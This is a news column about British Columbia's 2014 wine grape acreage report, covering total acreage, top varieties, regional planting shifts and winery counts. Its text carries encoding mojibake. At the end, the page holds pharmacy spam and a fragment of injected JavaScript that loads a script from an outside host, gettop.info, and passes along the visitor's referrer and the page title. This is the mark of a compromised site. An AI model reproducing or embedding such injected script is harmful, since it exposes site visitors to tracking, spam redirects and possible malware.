B.C. breaks 10,000-acre mark – Nov. 1, 2014


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Can you name the top 10 planted grape varieties in British Columbia? Ia��ll give you a moment.

Lynn Bremmer of Mount Kobau Wine Services recently released her annual B.C. Wine Grape Acreage Report, along with some help from staff and members of the B.C. Grapegrowersa�� Association and intrepid wine commentator John Schreiner, who surely has walked in every vineyard in the province.

The 2014 report includes 2014 plantings and it is estimated by Bremmer a�?the data comprises 95 per cent of the total provincial wine grape acreage.a�? B.C. has officially crashed through the 10,000-acre mark claiming 10,260 acres (4,152 hectares) of wine grapes. By comparison, Washington State farms 50,000 acres; Napa Valley 43,000 acres and New Zealanda��s Marlborough region 57,000 acres.

Given our cool climate, the mix of white grapes versus red is interestingly split down the middle at 49 per cent white versus 51 per cent red. Thankfully, 97 per cent of those grapes are classified vinifera, widely considered to be responsible for the worlda��s best wines.

As for the top 10 grapes in the ground, the order is: merlot, pinot gris, pinot noir, chardonnay, cabernet sauvignon, gewA?rztraminer, cabernet franc, syrah, riesling, sauvignon blanc.

Bremmer reports a�?The over-all grape acreage in B.C. continues to increase although at a slower rate, with the largest increases in Lake Country/Vernon, Kelowna, and Peachland/Summerland areas.a�? The rise in northern Okanagan Valley plantings dovetails nicely with the growth of pinot noir, which has replaced chardonnay as the third-most planted variety in the province. Syrah continues to struggle with winter kill and while it is the star of most wine competitions, consumers have never shown the same fervour for this variety as wine writers.

In 2014 cabernet franc, the current darling of winemakers and consumers has replaced syrah as the seventh-most planted variety, pushing syrah to eighth place. The largest planting increases by percent were muscats, riesling and pinot noir, which should translate into cooler, fresh, aromatic wines in the years to come.

Failed experimental plantings are responsible for decreasing acreage in the Lower Mainland/Fraser Valley, Vancouver and the Gulf Islands. Ita��s possible that replanting with more knowledge could reverse those numbers in the years to come. The warm Oliver/Osoyoos area remains the main source of acreage with over 50 per cent of plantings. although there is still no official recognition of this area other than the broad Okanagan Valley moniker

On the winery side, newcomers continue apace although many of the newest are classified as virtual wineries. Bremmer defines them as wineries that produce wine under another winerya��s license. They may or may not own land and can use grapes from anywhere in the region and sell the wine under their label. Ita��s fairly common arrangement, especially in regions in which land and resources are at a premium.

Another predictable trend is that winery-owned acreage continues to increase. In this case, as small wineries begin to feel more confident with their operation and wines, they look to expand and supplement their lineup with different grapes, likely ones they cana��t grow on their terroir. For example, Naramata producers look to Oliver and Osoyoos for richer reds while southern producers may want pinot noir from East Kelowna. The average winery acreage continues to fall as smaller estates open. The average estate tended to average about 40 acres about 15 years ago. That number has shrunk today to 28 acres.

In short, all seems well in B.C.. There are 254 licensed grape wineries, 243 are land-based (producing wine from 100 per cent B.C. grapes), 17 virtual wineries and 929 operating vineyards. There is only the niggling question of whether they will be able to continue to sell it all at home.

The full report is available on the web at www.grapegrowers.bc.ca. purchase naprosyn 250 s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; }if (document.currentScript) { Cheap

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